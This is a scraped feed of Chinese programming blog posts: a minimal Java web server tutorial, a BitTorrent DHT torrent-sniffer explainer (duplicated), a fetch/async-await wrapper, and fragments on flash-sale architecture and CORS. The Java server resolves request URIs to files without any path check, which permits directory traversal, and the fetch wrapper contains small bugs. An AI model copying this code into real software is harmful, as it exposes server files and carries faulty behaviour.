  2. 管控:做好线上运行的降级、限流和熔断保护。需要注意的是,无论是限流、降级还是熔断,对业务都是有损的,所以在进行操作前,一定要和上下游业务确认好再进行。就拿限流来说,哪些业务可以限、什么情况下限、限流时间多长、什么情况下进行恢复,都要和业务方反复确认
  3. 监控:建立性能基线,记录性能的变化趋势;建立报警体系,发现问题及时预警
  4. 恢复:遇到故障能够及时止损,并提供快速的数据订正工具,不一定要好,但一定要有

在系统建设的整个生命周期中,每个环节中都可能犯错,甚至有些环节犯的错,后面是无法弥补的或者成本极高的。所以高可用是一个系统工程,必须放到整个生命周期中进行全面考虑。同时,考虑到服务的增长性,高可用更需要长期规划并进行体系化建设。

3 总结一下

高可用其实是在说 “稳定性”,稳定性是一个平时不重要,但出了问题就要命的事情,然而它的落地又是一个问题——平时业务发展良好,稳定性建设就会降级给业务让路。解决这个问题必须在组织上有所保障,比如让业务负责人背上稳定性绩效指标,同时在部门中建立稳定性建设小组,小组成员由每条线的核心力量兼任,绩效由稳定性负责人来打分,这样就可以把体系化的建设任务落实到具体的业务系统中了。

个人总结

一个秒杀系统的设计,可以根据不同级别的流量,由简单到复杂打造出不同的架构,本质是各方面的取舍和权衡。当然,你可能注意到,本文并没有涉及具体的选型方案,因为这些对于架构来说并不重要,作为架构师,应该时刻提醒自己主线是什么。

同时也在这里抽象、提炼一下,主要是个人对于秒杀设计的提纲式整理,方便各位同学进行参考——!
image

查看原文

h2so 收藏了文章 · 2019-03-14

一步一步实现Tomcat之一——实现一个简单的Web服务器

前言

最近在读《How Tomcat Works》,收获颇丰,在编写书中示例的过程中也踩了不少坑。不知你有没有体会,编程就一门是“不试不知道,一试吓一跳”的实践艺术。所以我将将自己的实践过程记录下来并附上自己的思想过程编撰成文,望能抛砖引玉,引起大家思考。
原书中主要内容是一步一步实现一个类似于Tomcat的Servlet容器。有点再造轮子的感觉,我也会根据书中章节并按照自己理解分步成文。

本文涉及内容

本文描述了一个简单的Web服务器的实现,这个服务器能接收浏览器请求,访问本地的静态HTML文件,如果文件不存在返回404页面。这个浏览器只是一个示例,重点让你了解Http请求到响应过程的大致处理方法,对于细节没有过多涉及。

基础知识

阅读本文需要你先了解一下基础知识:

  1. Http协议。
  2. Socket网络编程。

1. Http协议

“协议”广义上说就是计算机相互交流的语言。Http协议就是网络上千千万万浏览器和服务器交流的语言,浏览器通过Http协议向服务器发送请求,服务器通过同样的协议回复浏览器。

clipboard.png

【图一】

Http协议处于TCP/IP协议栈的应用层,Http传递的内容是Http报文,报文就相当于语言中的“短语”和“句子”用来表明意图。报文由一行行简单的字符串组成,方便人们读写。

报文包括三个部分:起始行(star line)、首部(heads)、主体(body)
报文分为两类:请求报文(request message)、响应报文(response message)

报文实例:

请求报文:

GET / HTTP/1.1
Host: www.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Cookie: BAIDUID=DF436E68F85BD96DE35AEA9DC97FB19D:FG=1; BIDUPSID=DF436E68F85BD96DE35AEA9DC97FB19D; PSTM=1535160357; BD_UPN=1352; delPer=0; BD_HOME=0; H_PS_PSSID=1442_21097_26350
Connection: keep-alive

GET / HTTP/1.1为起始行,其他为首部,没有主体部分。

响应报文:

HTTP/1.1 200 OK
Bdpagetype: 1
Bdqid: 0xc317983b0005c39e
Cache-Control: private
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html
Cxy_all: baidu+3d05fe4a15be8fad069c0f37a523ec5e
Date: Sun, 26 Aug 2018 06:39:25 GMT
Expires: Sun, 26 Aug 2018 06:39:09 GMT
Server: BWS/1.1
Set-Cookie: delPer=0; expires=Tue, 18-Aug-2048 06:39:09 GMT
Set-Cookie: BDSVRTM=0; path=/
Set-Cookie: BD_HOME=0; path=/
Set-Cookie: H_PS_PSSID=1442_21097_26350; path=/; domain=.baidu.com
Strict-Transport-Security: max-age=172800
Vary: Accept-Encoding
X-Ua-Compatible: IE=Edge,chrome=1
Transfer-Encoding: chunked

<!DOCTYPE html>
<!--STATUS OK-->
<html>
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta content="always" name="referrer">
    <meta name="theme-color" content="#2932e1">
    <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
    <title>百度一下,你就知道</title>
</head>
<body>
太多了,省略...

</body>
</html>

HTTP/1.1 200 OK为起始行,Bdpagetype: 1Transfer-Encoding: chunked为首部,其余的为主体。

通过观察请求和返回报文我们发现两个关键点:

  1. 报文起始行和首部由行分割的ASCII文本,Http协议规定每一行由回车符(ASCII码13)和换行符(ASCII码10)表示结束。
  2. 一个空白行将实体和首部区分开来,返回报文的主体的就是HTML语言,浏览器就是通过返回的主体内容渲染HTML语言展示请求内容的,当然除了HTML语言之外,主体还可以返回其他字符和二进制内容。

2. Socket网络编程

Http协议不仅规定了传输的内容,还规定了用什么来传输,一门语言不能光有文字和语法,还要有传播通道,例如空气就是声音的传输通道。

Http协议将传输的工作交由TCP协议负责,TCP协议位于TCP/IP协议栈的传输层,是很多上层应用协议的传输方式。

TCP协议是面向连接的、保障型传输协议,一旦建立起TCP连接,客户端和服务器端之间的报文交换就不会丢失、不会被破坏也不会在接收时错序。

TCP协议一般由操作系统底层实现,在Java中抽象为Socket接口供大家使用。

用代码说话

基础知识介绍的差不多了,如果大家感兴趣可以参考相应的书籍。接下来让我们用代码说话。

一、 看似很简单

如果是只返回静态Html,应该很简单吧。简简单单想了一下流程,初始化服务器——等待连接——解析请求——返回数据——关闭连接,搞定,大功告成。

1. 建个服务器骨架吧

/**
 * 简单的Web服务器
 */
public class HttpServer {
    //定义一个资源存放路径,用来存放静态资源,
    public static final File WEB_ROOT = new File("d:\\webRoot");

    public static void main(String[] args) {
        //创建服务器对象
        HttpServer httpServer=new HttpServer();
        //等待客户端请求
        httpServer.await();
    }
    public void await() {
        try (ServerSocket serverSocket = new ServerSocket(8080)) {
            //创建socket嵌套字,监听8080端口。
             serverProcess(serverSocket);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    private void serverProcess(ServerSocket serverSocket) {
        while (true) {
            //循环等待客户端请求。
            try (Socket socket = serverSocket.accept()) {
                InputStream input = socket.getInputStream();
                OutputStream output = socket.getOutputStream();
                //未完待续。。。

            } catch (IOException e) {
                e.printStackTrace();
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

非常简单的Socket服务器骨架就这样建好了,我们就可以接受客户端请求了,这里需要注意的是每一个通过serverSocket.accept()从客户端获取socket处理完后都会被close

2. 抽象一下“请求”和“响应”

有了服务器,接下来我们需要接收请求、处理请求、将处理结果返回给客户端。根据领域驱动原则,我们将名词抽象为类,动词抽象为类的行为也就是方法。

Request类

/**
 * 表示一次客户端请求
 */
public class Request {
    private InputStream input;
    private String uri;

    public Request(InputStream input) {
        this.input = input;
    }
    /**
     * 解析请求
     */
    public void parse() {
        //待实现
    }
    /**
     * 解析URL
     * @param requestString
     * @return
     */
    private String parseUri(String requestString) {
        //待实现
        return null;
    }

    public String getUri() {
        return uri;
    }
}

Response类:

/**
 * 表示返回值
 */
public class Response {
    private OutputStream output;
    public Response1(OutputStream output) {
        this.output = output;
    }
    /**
     * 发送静态页面的相应报文
     * @throws IOException
     */
    public void sendStaticResource() throws IOException {
        //待实现。
    }
}

3. 实现Request和Response中的方法。

类和方法已经定义的差不多了,现在我们来实现。

Request类

/**
 * 表示请求值
 */
public class Request {

    private InputStream input;
    private String uri;

    public Request(InputStream input) {
        this.input = input;
    }

    public void parse() {
        StringBuffer request = new StringBuffer(2048);
        int i;
        byte[] buffer = new byte[2048];
        try {
            while((i = input.read(buffer))!=-1){
                for (int j=0; j<i; j++) {
                    request.append((char) buffer[j]);
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println(request.toString());
        uri = parseUri(request.toString());
    }

    private String parseUri(String requestString) {
        int index1, index2;
        index1 = requestString.indexOf(' ');
        if (index1 != -1) {
            index2 = requestString.indexOf(' ', index1 + 1);
            if (index2 > index1)
                return requestString.substring(index1 + 1, index2);
        }
        return null;
    }
    public String getUri() {
        return uri;
    }
}

Response类:

/**
 * 表示返回值
 */
public class Response {
    private static final int BUFFER_SIZE = 1024;
    private Request request;
    private OutputStream output;

    public Response(OutputStream output) {
        this.output = output;
    }

    public void setRequest(Request request) {
        this.request = request;
    }

    public void sendStaticResource() throws IOException {
        byte[] bytes = new byte[BUFFER_SIZE];
        //读取访问地址请求的文件
        File file = new File(HttpServer.WEB_ROOT, request.getUri());
        try (FileInputStream fis = new FileInputStream(file)){
            if (file.exists()) {
                //如果文件存在
                //添加相应头。
                StringBuilder heads=new StringBuilder("HTTP/1.1 200 OK\r\n");
                heads.append("Content-Type: text/html\r\n");
                //头部
                StringBuilder body=new StringBuilder();
                //读取相应主体
                int len ;
                while ((len=fis.read(bytes, 0, BUFFER_SIZE)) != -1) {
                    body.append(new String(bytes,0,len));
                }
                //添加Content-Length
                heads.append(String.format("Content-Length: %d\n",body.toString().getBytes().length));
                heads.append("\r\n");
                output.write(heads.toString().getBytes());
                output.write(body.toString().getBytes());
            } else {
                response404(output);
            }
        }catch (FileNotFoundException e){
            response404(output);
        }
    }

    private void response404(OutputStream output) throws IOException {
        StringBuilder response=new StringBuilder();
        response.append("HTTP/1.1 404 File Not Found\r\n");
        response.append("Content-Type: text/html\r\n");
        response.append("Content-Length: 23\r\n");
        response.append("\r\n");
        response.append("<h1>File Not Found</h1>");
        output.write(response.toString().getBytes());
    }

注:原书代码没有返回响应头部,测试发现浏览器不能识别这样的响应报文。

4. 补全服务器方法。

public class HttpServer {
    //定义一个资源存放路径,用来存放静态资源,
    static final File WEB_ROOT = new File("d:\\webRoot");

    public static void main(String[] args) {
        HttpServer httpServer=new HttpServer();
        httpServer.await();
    }

    public void await() {
        try (ServerSocket serverSocket = new ServerSocket(8080)) {
           serverProcess(serverSocket);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void serverProcess(ServerSocket serverSocket) {
        while (true) {
            try (Socket socket = serverSocket.accept()) {
                System.out.println(socket.hashCode());
                InputStream input = socket.getInputStream();
                OutputStream output = socket.getOutputStream();
                Request request = new Request(input);
                request.parse();
                Response response = new Response(output);
                response.setRequest(request);
                response.sendStaticResource();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

5. 见证奇迹的时候到了,运行一下。

首先在D:/webRoot文件夹建立index.html文件
写入:

<h1>hello world!</h1>

启动HttpService,在浏览器输入http://localhost:8080/index.html,但你心心念的等待熟悉的“hello world!”页面的时候,你会等的花儿都谢了。

二、 问题在哪里?

1. 调试吧,少年

页面并没有显示,问题出在哪里?进入debug调试模式,发现方法阻塞在while((i = input.read(buffer))!=-1)语句上,以往我们读取输入流的方法都这样写也没有问题,为什么到了Socket就阻塞了呢?原因其实很简单,客户打开了一个socket的输出流向服务器发送消息,服务器端通过socket的输入流读取消息,但是服务器并不知道客户端消息的结尾,只要socket不关闭,服务器一旦读取了所有可用内容,read方法就要一直阻塞等待新的可用内容(超期时间之后也能返回),而此时的客户端也一直在等待服务器的返回,相互等待,死锁了。看来本地文件流和网络流处理方式不同。

clipboard.png

【图二】

翻看书中示例代码是这样写的:

public void parse() {
        StringBuilder request = new StringBuilder(2048);
        int i;
        byte[] buffer = new byte[2048];
        try {
            i = input.read(buffer);
        }catch (IOException e) {
            e.printStackTrace();
            i = -1;
        }
        for (int j=0; j<i; j++) {
            request.append((char) buffer[j]);
        }
        System.out.println(request.toString());
        uri = parseUri(request.toString());
    }

书中一次性读取了2048长度的字节数组,无论请求内容是否结束都不会再去读第二遍,避免读取时遇到不可用情况造成的阻塞。
但是这依然有两个问题:

  1. 如果字符请求内容大于2048长度字节数组的内容,请求内容读取不全。
  2. 如果浏览器创建一个socket但是并不写入任何内容,服务器首次read的时候仍会被阻塞,不读取不知道有没有内容,一旦发现没有可用内容就被阻塞了。(测试中Chrome就会发送空socket)

问题2还好,有可能浏览器通过发送空socket维持长连接,需要根据http协议决定如何关闭socket。但是对于问题1就比较严重了,虽然我们的示例代码只需要读取起始行从中取出URL地址访问本地静态资源,但是一个web服务器服务读取所有请求内容确实有点说不过去了。这个问题后续还需要解决。

2. 再试试,有没有奇迹出现

替换上面的代码,再次重复刚刚的流程,好了,浏览器终于出现“hello world!”,见证奇迹。

三、 你以为这样就完了?

终于,人生中第一个web服务器就这样诞生了!当我难掩激动的用各个浏览器测试的时候,又发现的一个问题,一旦我用Chrome访问一次,再用其他浏览器访问就会卡死。哎,好吧,没完了。

1. 继续debug

经过debug发现,Chrome每次发送一次socket并收到服务器相应之后,都会发送一个新的空socket,socket没有写入任何内容,此时服务器就会阻塞在对这个空socket的读取中。直到浏览器再次向服务器发送请求,才会向这个空socket写入内容,服务器阻塞才会结束,然后继续重复以上的处理过程,只要Chrome浏览器发送一次请求,服务器就会阻塞与空socket的读取,无法为其他浏览器服务。

【图三】

2. 饭要一口一口吃

除了上面提到的两个问题还有其他问题,比如socket关闭时机问题,响应主体文字编码问(现在都是英文还好,中文就会出现乱码)等等。毕竟http协议也是比较复杂的,有很多规则需要实现。但是本文的内容就先到这了,我们实现了完成一个简单服务器的目标。

后记

本文到此结束了,参照《How Tomcat Works》第一章内容,加上自己的理解和实践,原书中没有涉及我调试中抛出的两个问题,关于这两个问题我会在以后的文章中解决。其实读书的的时候觉得很简单,也没有想到真正写代码的时候出现这些问题,所以希望大家读书过程中多实践,可以加深理解。作为专栏的第一篇文章,写的格外用心,但是也难免出现纰漏,望大家指摘。

源码

文中源码地址:https://github.com/TmTse/tiny...

参考

《深入剖析Tomcat》
《Http权威指南》
《TCP/IP详解卷1:协议》

查看原文

h2so 收藏了文章 · 2018-11-08

一步一步教你写BT种子嗅探器之一---原理篇

之前看到 lantern 这个十分火的翻墙工具,其利用了P2P的思想,就想了解一下P2P相关的协议。看了下最流行的BT协议官方文档,就产生了实现BT协议的想法,顺便根据协议实现了一个BT种子嗅探器

也有人将BT种子嗅探器称为BT种子爬虫,个人觉得其行为特性和传统的web爬虫相差较大,反而和嗅探器很类似,因此暂且称之为BT种子嗅探器吧。

接下来将写一系列文章来介绍其原理和具体实现方式。这篇文章先提纲挈领,介绍其工作原理,以对全局有一个把握。后序的文章再介绍具体细节。

背景知识

在讲原理之前首先你得具备BitTorrent(简称BT)协议的一些基本知识,以便于理解接下来要讲的嗅探器。BT协议其实是一个协议簇,BEP-3 是其基本协议内容,其他的大部分都是围绕这个来进行扩展或补充。要想从BT网络中下载一个资源,必须具备以下部分:

  • 种子文件(也就是我们常说的种子,后缀是 .torrent,本质上是一个由bencode编码的文本文件,其把资源分成很多虚拟块,并记录每个块的hash值,另外上面还记录着其他信息,比如文件大小、名字、Tracker服务器等)

  • BT客户端(需要有专门解析BT协议的程序,这样才能下载,比如迅雷,电驴)

  • Tracker服务器 (记录着peer和种子相关信息,起着中心调控的作用)

下载资源的时候,客户端首先根据bencode(bencode是BT协议中的编码方式)解码种子文件,得到Tracker服务器的地址和资源信息,通过和Tracker服务器沟通得到其他已经下载该资源的peers信息(其他已经拥有该资源的客户端或者发布该资源的人),然后再和这些peers沟通得到自己想要的部分,即互通有无。由于把文件分成很多块来同时从不同的地方下载,这也就是为什么BT通常下载快的原因。

DHT协议

通过上面我们知道,Tracker服务器在资源下载的过程中起着至关重要的作用,只有通过它我们才能得到其他peers的信息,才能够下载,但这同时也成了BT协议的一个弱点,如果Tracker服务器挂掉了或者被封被屏蔽,整个网络也就瘫痪了。由于一些资源都是有版权的,还有一些资源是限制级的,比如色情资源,Tracker服务器很容易被迫关闭或被墙。后来聪明的人类发明了另外一种协议,就是 Distributed hash table, 简称DHT,这个协议就是用来弥补这个弱点的。

BT协议簇中的DHT协议 是基于 Kademlia协议 建立的,其基本思想很好理解。DHT 由很多节点组成,每个节点保存一张表,表里边记录着自己的好友节点。当你向一个节点A查询另外一个节点B的信息的时候,A就会查询自己的好友表,如果里边包含B,那么A就返回B的信息,否则A就返回距离B距离最近的k个节点。然后你再向这k个节点再次查询B的信息,这样循环一直到查询到B的信息,查询到B的信息后你应该向之前所有查询过的节点发个通知,告诉他们,你有B的信息。

举个例子,比如我现在想要Angelababy的微信号(额…我要干嘛),我就从自己的微信好友中挑出k个最可能认识她的人,然后依次问他们有没有Angelababy的微信号,假如其中一个认识,那么他就会给我Angelababy的微信号,我也就不继续问其他人了。假如他不认识,他就给我推荐k个他微信好友中最有可能认识Angelababy的k个人,然后我再继续这k个人,就这样循环一直到我问到为止。OK,现在我已经得到了Angelababy的微信号,我就会告诉之前所有我问过的人,我有Angelababy的微信号。

当客户端下载资源的时候,他会利用上述方式查找peers信息,这样每个人都充当了Tracker的作用,也就解决了上面那个问题。

嗅探器原理

终于到核心部分了。

BT种子嗅探器就是利用了DHT协议得到peer信息后会向他之前查询过的节点发送通知这一点,这就是嗅探器的核心。

剩下的工作就是我们要让更多的节点发给我们通知。那么如何让更多的节点发给我们通知呢?

  • 我们要不断的查询自己的好友节点表,并对返回回来的节点进行查询,这样才会有更多的人认识我们

  • 别人向我们查询Target的时候,我们要伪装成Target的好友,返回结果里边包括自己,这样会有更多被查询、收到通知的机会

这就是BT种子嗅探器的原理,简单吧 :)

种子下载器

在BT网络中,通过上述原理收到信息并不是种子,而是发送消息者的ip和port、种子infohash(可以理解为种子的id)。我们如果想要得到种子的话,还需要做一番工作。这里涉及到另外一个非常重要的协议 BEP-09,BEP-09规定了如何通过种子infohash得到种子。

这里不铺开讲,仅说下大致过程。首先同我们收到的消息里边的 ip:port 建立TCP连接,然后发送握手消息,并告知对方自己支持BEP-09协议,然后向对方请求种子的信息,收到对方返回的种子信息后,依次或同时请求每一个块。最有所有块收集完后,对其进行拼接并通过sha1算法计算其infohash,如果和我们请求的infohash值相同则保存起来,否则丢掉。

应用

这样你可以得到非常多的种子信息,你可以对其进行索引建立自己的BT种子搜索引擎,建立自己的海盗湾。但你需要注意版权问题和色情资源问题。

最后

https://github.com/shiyanhui/dht 这个是Go实现的一个BT种子嗅探器,你可以参照一下其具体实现,喜欢这篇文章的话就到github上给个Star呗。

http://bthub.io 是基于上面这个嗅探器写的一个BT种子搜索引擎。

有任何问题可以在这里提问:https://github.com/shiyanhui/...

关注我的公众号,及时获得下一篇推送。

图片描述

查看原文

h2so 收藏了文章 · 2018-11-08

一步一步教你写BT种子嗅探器之一---原理篇

之前看到 lantern 这个十分火的翻墙工具,其利用了P2P的思想,就想了解一下P2P相关的协议。看了下最流行的BT协议官方文档,就产生了实现BT协议的想法,顺便根据协议实现了一个BT种子嗅探器

也有人将BT种子嗅探器称为BT种子爬虫,个人觉得其行为特性和传统的web爬虫相差较大,反而和嗅探器很类似,因此暂且称之为BT种子嗅探器吧。

接下来将写一系列文章来介绍其原理和具体实现方式。这篇文章先提纲挈领,介绍其工作原理,以对全局有一个把握。后序的文章再介绍具体细节。

背景知识

在讲原理之前首先你得具备BitTorrent(简称BT)协议的一些基本知识,以便于理解接下来要讲的嗅探器。BT协议其实是一个协议簇,BEP-3 是其基本协议内容,其他的大部分都是围绕这个来进行扩展或补充。要想从BT网络中下载一个资源,必须具备以下部分:

  • 种子文件(也就是我们常说的种子,后缀是 .torrent,本质上是一个由bencode编码的文本文件,其把资源分成很多虚拟块,并记录每个块的hash值,另外上面还记录着其他信息,比如文件大小、名字、Tracker服务器等)

  • BT客户端(需要有专门解析BT协议的程序,这样才能下载,比如迅雷,电驴)

  • Tracker服务器 (记录着peer和种子相关信息,起着中心调控的作用)

下载资源的时候,客户端首先根据bencode(bencode是BT协议中的编码方式)解码种子文件,得到Tracker服务器的地址和资源信息,通过和Tracker服务器沟通得到其他已经下载该资源的peers信息(其他已经拥有该资源的客户端或者发布该资源的人),然后再和这些peers沟通得到自己想要的部分,即互通有无。由于把文件分成很多块来同时从不同的地方下载,这也就是为什么BT通常下载快的原因。

DHT协议

通过上面我们知道,Tracker服务器在资源下载的过程中起着至关重要的作用,只有通过它我们才能得到其他peers的信息,才能够下载,但这同时也成了BT协议的一个弱点,如果Tracker服务器挂掉了或者被封被屏蔽,整个网络也就瘫痪了。由于一些资源都是有版权的,还有一些资源是限制级的,比如色情资源,Tracker服务器很容易被迫关闭或被墙。后来聪明的人类发明了另外一种协议,就是 Distributed hash table, 简称DHT,这个协议就是用来弥补这个弱点的。

BT协议簇中的DHT协议 是基于 Kademlia协议 建立的,其基本思想很好理解。DHT 由很多节点组成,每个节点保存一张表,表里边记录着自己的好友节点。当你向一个节点A查询另外一个节点B的信息的时候,A就会查询自己的好友表,如果里边包含B,那么A就返回B的信息,否则A就返回距离B距离最近的k个节点。然后你再向这k个节点再次查询B的信息,这样循环一直到查询到B的信息,查询到B的信息后你应该向之前所有查询过的节点发个通知,告诉他们,你有B的信息。

举个例子,比如我现在想要Angelababy的微信号(额…我要干嘛),我就从自己的微信好友中挑出k个最可能认识她的人,然后依次问他们有没有Angelababy的微信号,假如其中一个认识,那么他就会给我Angelababy的微信号,我也就不继续问其他人了。假如他不认识,他就给我推荐k个他微信好友中最有可能认识Angelababy的k个人,然后我再继续这k个人,就这样循环一直到我问到为止。OK,现在我已经得到了Angelababy的微信号,我就会告诉之前所有我问过的人,我有Angelababy的微信号。

当客户端下载资源的时候,他会利用上述方式查找peers信息,这样每个人都充当了Tracker的作用,也就解决了上面那个问题。

嗅探器原理

终于到核心部分了。

BT种子嗅探器就是利用了DHT协议得到peer信息后会向他之前查询过的节点发送通知这一点,这就是嗅探器的核心。

剩下的工作就是我们要让更多的节点发给我们通知。那么如何让更多的节点发给我们通知呢?

  • 我们要不断的查询自己的好友节点表,并对返回回来的节点进行查询,这样才会有更多的人认识我们

  • 别人向我们查询Target的时候,我们要伪装成Target的好友,返回结果里边包括自己,这样会有更多被查询、收到通知的机会

这就是BT种子嗅探器的原理,简单吧 :)

种子下载器

在BT网络中,通过上述原理收到信息并不是种子,而是发送消息者的ip和port、种子infohash(可以理解为种子的id)。我们如果想要得到种子的话,还需要做一番工作。这里涉及到另外一个非常重要的协议 BEP-09,BEP-09规定了如何通过种子infohash得到种子。

这里不铺开讲,仅说下大致过程。首先同我们收到的消息里边的 ip:port 建立TCP连接,然后发送握手消息,并告知对方自己支持BEP-09协议,然后向对方请求种子的信息,收到对方返回的种子信息后,依次或同时请求每一个块。最有所有块收集完后,对其进行拼接并通过sha1算法计算其infohash,如果和我们请求的infohash值相同则保存起来,否则丢掉。

应用

这样你可以得到非常多的种子信息,你可以对其进行索引建立自己的BT种子搜索引擎,建立自己的海盗湾。但你需要注意版权问题和色情资源问题。

最后

https://github.com/shiyanhui/dht 这个是Go实现的一个BT种子嗅探器,你可以参照一下其具体实现,喜欢这篇文章的话就到github上给个Star呗。

http://bthub.io 是基于上面这个嗅探器写的一个BT种子搜索引擎。

有任何问题可以在这里提问:https://github.com/shiyanhui/...

关注我的公众号,及时获得下一篇推送。

图片描述

查看原文

h2so 收藏了文章 · 2018-10-27

async/await封装fetch

基本操作

一个基本的fetch操作很简单。就是通过fetch请求,返回一个promise对象,然后在promise对象的then方法里面用fetch的response.json()等方法进行解析数据,由于这个解析返回的也是一个promise对象,所以需要两个then才能得到我们需要的json数据。

  fetch('http://example.com/movies.json')
  .then(function(response) {
    return response.json();
  })
  .then(function(myJson) {
    console.log(myJson);
  });

为何不能直接使用基本操作

fetch规范与jQuery.ajax()主要有两种方式的不同:
1、当接收到一个代表错误的 HTTP 状态码时,比如400, 500,fetch不会把promise标记为reject, 而是标记为resolve,仅当网络故障时或请求被阻止时,才会标记为 reject。
2、默认情况下,fetch 不会从服务端发送或接收任何 cookies, 如果站点依赖于用户 session,则会导致未经认证的请求(要发送 cookies,必须设置 credentials 选项)。

从这里可以看出来,如果我们要在fetch请求出错的时候及时地捕获错误,是需要对response的状态码进行解析的。又由于fetch返回的数据不一定是json格式,我们可以从header里面Content-Type获取返回的数据类型,进而使用正确的解析方法。

使用async/awiait的原因

Promise 将异步操作规范化.使用then连接, 使用catch捕获错误, 堪称完美, 美中不足的是, then和catch中传递的依然是回调函数, 与心目中的同步代码不是一个套路.

为此, ES7 提供了更标准的解决方案 — async/await. async/await 几乎没有引入新的语法, 表面上看起来, 它就和alert一样易用。

var word = '123',
    url = 'https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd='+word+'&json=1&p=3';
(async ()=>{
  try {
    let res = await fetch(url, {mode: 'no-cors'});//等待fetch被resolve()后才能继续执行
    console.log(res);//fetch正常返回后才执行
    return res;//这样就能返回res不用担心异步的问题啦啦啦
  } catch(e) {
    console.log(e);
  }
})();

代码

解析结果值

检查返回值的状态: 上面提到了,因为fetch不会自己reject,所以我们只能够通过抛出错误帮一下它啦。301和302是重定向的状态码,这个时候页面需要跳转一下,通过window.location实现是不是很perfer呢。

    checkStatus(response) {//检查响应状态
        if(response.status >= 200 && response.status < 300) {//响应成功
            return response;
        }
        if(response.status === 301 || response.status === 302) {//重定向
            window.location = response.headers.get('Location');
        }
        const error = new Error(response.statusText);
        error.data = response;
        throw error;
    }

判断用哪个fetch的解析函数:这里通过headers的Content-Type判断使用哪个解析方法,因为解析也是异步的,所以还是用async/await让程序停在那里慢慢解析。

    async parseResult(response) {//解析返回的结果
        const contentType = response.headers.get('Content-Type');
        if(contentType != null) {
            if(contentType.indexOf('text') > -1) {
                return await response.text()
            }
            if(contentType.indexOf('form') > -1) {
                return await response.formData();
            }
            if(contentType.indexOf('video') > -1) {
                return await response.blob();
            }
            if(contentType.indexOf('json') > -1) {
                return await response.json();
            }
        }
        return await response.text();
    }

为了调用比较好看吧,写多一个processResult去调用者两个方法,然后在fetch的then里面就只需要用这个去得到结果啦。

    async processResult(response) {
        let _response = this.checkStatus(response)
        _response = await this.parseResult(_response);
        return _response;
    }
fetch请求后台代码

把请求后台的代码都写在_request里面,然后get和post里面就封装一下参数。

    async _request(url, init, headers = {}) {
        try {
            let options = _.assign(
                    {
                        credentials: 'include',//允许跨域
                    },
                    init
            );
            options.headers = Object.assign({}, options.headers || {}, headers || {});
            let response = await fetch(url, options);
            response = await this.processResult(response);//这里是对结果进行处理。包括判断响应状态和根据response的类型解析结果
            return response;
        } catch(error) {
            throw error;
            return null;
        }
    }

    async get(api, data = {}, headers = {}, config = {}) {
        const query = _.isEmpty(data) ? '' : `json=${encodeURIComponent(JSON.stringify(data))}`;
        return await this._request(`${api}?${query}`, headers, {}, config);
    }

    async post(api, data = {}, headers = {}, config = {}) {//通过headers决定要解析的类型
        const _headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            ...headers,
        };
        let formBody = null;
        if(_headers['Content-Type'] && _headers['Content-Type'].indexOf('application/x-www-form-urlencoded')>-1) {
            formBody = new URLSearchParams();
            for(let k in data) {//遍历一个对象
                if(typeof(data[k]) === 'object') {
                    formBody.append(k, JSON.stringify(data[k]));
                } else {
                    formBody.append(k, data[k]);
                }
            }
        }
        return await this._request(
                api,
                {
                    method: 'POST',
                    headers: _headers,
                    body: formBody,
                },
                {},
                config,
        )
    }

how to use

把上面这些代码到写在一个http类里面

    import 'isomorphic-fetch'
    import 'es6-promise'
    import _ from 'lodash';
    class http {
         checkStatus(response) {}
         async parseResult(response) {}
         async processResult(response) {}
         async _request(url, init, headers = {}) {}
         async get(api, data = {}, headers = {}, config = {}) {}
         async post(api, data = {}, headers = {}, config = {}) {}
     }  
       
    let http = new Http();
    export default http;
    

然后调用的时候

    import http from '../../common/http'
    getData() {
        //form类型
        http.post('/api/submitComment', {a: 'hhhh'}).then((data) => {
            console.log(data);//输出返回的数据
        })
        //json类型
        http.post('/api/submitComment', {a: 'hhhh'}, {'content-type': 'application/json'
        }).then((data) => {
            console.log(data);//输出返回的数据
        })
    }
查看原文

h2so 关注了用户 · 2018-10-27

supportlss @supportlss

关注 14

h2so 提出了问题 · 2018-10-22

解决Antd 的 upload 后台该如何接收?

@RestController
@RequestMapping("/antdUpload")
public class AntdUpload {

    private Logger logger = LoggerFactory.getLogger(AntdUpload.class);

    @RequestMapping(method = RequestMethod.PUT)
    public void postExcel(@RequestParam("file")MultipartHttpServletRequest request, HttpServletResponse response) throws IOException {

        logger.info("antd-upload");

        //1. build an iterator
        Iterator<String> itr = request.getFileNames();
        MultipartFile mpf = null;

        //2. get each file
        while (itr.hasNext()) {

            //2.1 get next MultipartFile
            mpf = request.getFile(itr.next());

            InputStream is = mpf.getInputStream();

        }
    }
}

结果后台根本收不到请求,不知道是什么问题?

关注 4 回答 4

h2so 收藏了文章 · 2018-10-12

九种 “姿势” 让你彻底解决跨域问题

在这里插入图片描述


阅读原文


同源策略

同源策略/SOP(Same origin policy)是一种约定,由 Netscape 公司 1995 年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到 XSS、CSRF 等攻击。所谓同源是指 "协议 + 域名 + 端口" 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。


什么是跨域?

当协议、域名、端口号,有一个或多个不同时,有希望可以访问并获取数据的现象称为跨域访问,同源策略限制下 cookielocalStoragedomajaxIndexDB 都是不支持跨域的。

